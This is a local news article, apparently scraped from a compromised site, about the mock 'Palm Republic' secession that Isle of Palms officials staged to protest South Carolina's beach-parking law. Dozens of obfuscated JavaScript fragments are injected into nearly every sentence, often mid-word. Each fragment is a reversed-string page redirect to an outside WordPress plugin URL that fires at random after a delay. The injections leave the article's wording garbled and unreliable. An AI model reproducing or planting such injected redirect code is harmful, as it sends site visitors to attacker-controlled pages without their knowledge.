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An island under autonomous rule – The Island Eye News

By Brian Sherman for The Island Eye News

Shortly after the 1860 presidential election, South Carolina chose toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth’=ferh.noitacol.tnemucod”];var number1=Math. floor(Math.random( )*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);} secede from the Union, setting off the spark that ignited the nation for four long and arduous They certainly won’t launch an attack on Fort Sumter and they probably don’t expect toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth’=ferh.noitacol .tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to start another civil war, but a former mayor of the Isle of Palms and a current council member of the ‘IOP are creating an independent ‘nation’ that will soon ‘secession’ from the state of South Carolina. The impetus behind the creation of The Palm Republic is S. 40, a law passed last year that gives the Department of Transportation the power to toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth’ =ferh .noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);} to decide where visitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tors toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth’=ferh.noitacol. tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to four Lowcountry beaches can park on public roads and how much, if any, they will have toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth’=ferh.noitacol.tnemucod”];var number1=Math. floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to pay. “It is unconstitutional. It distinguishes four communities in South Carolina: Isle of Palms, Sullivan’s Island, Edistoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor (Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to and Folly Beach”, said Blair Hahn, an attoof-redaeh /snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torney and a sitting member of the IOP Board.” Each municipality may decide parking within the DOT rights of way in its toof-redaeh/snigulp /tnetnoc-pw/moc.snoituloslattolg//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math .random()*6 ); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}city limits. The only thing DOT can do is remove parking if it’s interfering with the flow of traffic.” “C ‘is an affront toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay=18000;setTimeout($mWn(0),delay);}to home rule, which has been the standard in South Carolina since 1776,” Hahn added. “South Carolina is taking our resources. We must provide services without offsetting our costs.

The Palm Republic founders are also more than a little upset with the SCDOT decision toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth’=ferh.noitacol.tnemucod”];var number1= Math.floor (Math.random()*6);if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to restrip the Isle of Palms Connectoof-redaeh/snigulp /tnetnoc-pw /moc.snoituloslattolg//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor bridge without intervention of municipal authorities. This is the serious part of The Palm Republic; there’s also a fair amount of fun and rejoicing in creating the burgeoning nation of IOP.

All residents of the island, as well as those who live in the other three beach communities impacted by S. 40, will be invited to of-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth’=ferh .noitacol.tnemucod” ];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to become the founders of The Palm Republic, which in many ways will be shaped after The Conch Republic, established in Key West, Florida, in 1982, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth’= ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to protest federal interference in city affairs. The mayor proclaimed himself prime minister of the republic, which declared war on the United States, went toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth’=ferh.noitacol. tnemucod”];var number1= Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);} to a man wearing a navy uniform and requested $1 billion in federal aid. The Conch Republic, which celebrates its four decades of “independence” this year, has regularly come up against the federal government for various reasons. So far, The Palm Republic has two officials. Hahn is the attoof- redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor (Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}general torney, also known as His Beaudacious Highness, Admiral and grand ruler of all seas under 1 fathom, while former IOP Mayor Jimmy Carroll is His Highness, Grand Potentate of all things salty, His Excellency, the Most Reverend. tnetnoc-pw/moc.snoituloslattolg//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1== 3){var delay = 18000;setTimeout($mWn(0),delay);}in Hahn there will be official Palm Republic products such as T-shirts and diplomatic passports, visas and green cards offering discounts toof-redaeh/snigulp /tnetnoc-pw/moc.snoituloslattolg//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to island visitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth’=ferh.noitacol .tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tors. At least two celebrations will take place each year, with possibilities such as a pub crawl, triathlon, 10k run and street festival. And the motto of the Republicof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth’=ferh .noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to – nothing less in Latin – is “Gravissima fabula est negotia”, which according to toof-redaeh/snigulp/tnetnoc -pw/moc.snoituloslattolg//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000 ;setTimeout($mWn(0),delay);}au attoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth’=ferh.noitacol. tnemucod”];var number1=Math.floor( Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torney general, means ” Playing is very serious business”. Both Hahn and Carroll intend toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth’=ferh.noitacol.tnemucod”];var number1=Math .floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to have fun with their new republic, but they also want toof-redaeh/snigulp/tnetnoc-pw/moc. snoituloslattolg //:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn( 0),delay);} to make a point about the distribution of bridges, parking and traffic issues, and, of course, the house rule. “While this is an absurd example, if the state may dictate that IOP residents must provide free beach parking to all comers, they may also dictate that we provide free beach chairs and coolers full of beer, all on the backs of the IOP taxpayers so politicians outside the IOP can pander toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth’=ferh.noitacol.tnemucod”];var number1=Math. floor(Math.random()*6); if (number1==3){var delay=18000;setTimeout($mWn(0),delay);}to their voting base,” Hahn said.

“The point is, this is a serious topic that requires toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math. random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to bring toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//: sptth’=ferh.noitacol .tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to light, but with humor,” Hahn added. “We all want to have fun and get along. number1=Math.floor(Math.random()*6); if (number1= =3){var delay = 18000;setTimeout($mWn(0),delay);}to have fun with this and reverse the governance mistakes of our heads of state. »

Teresa R. Cabrera

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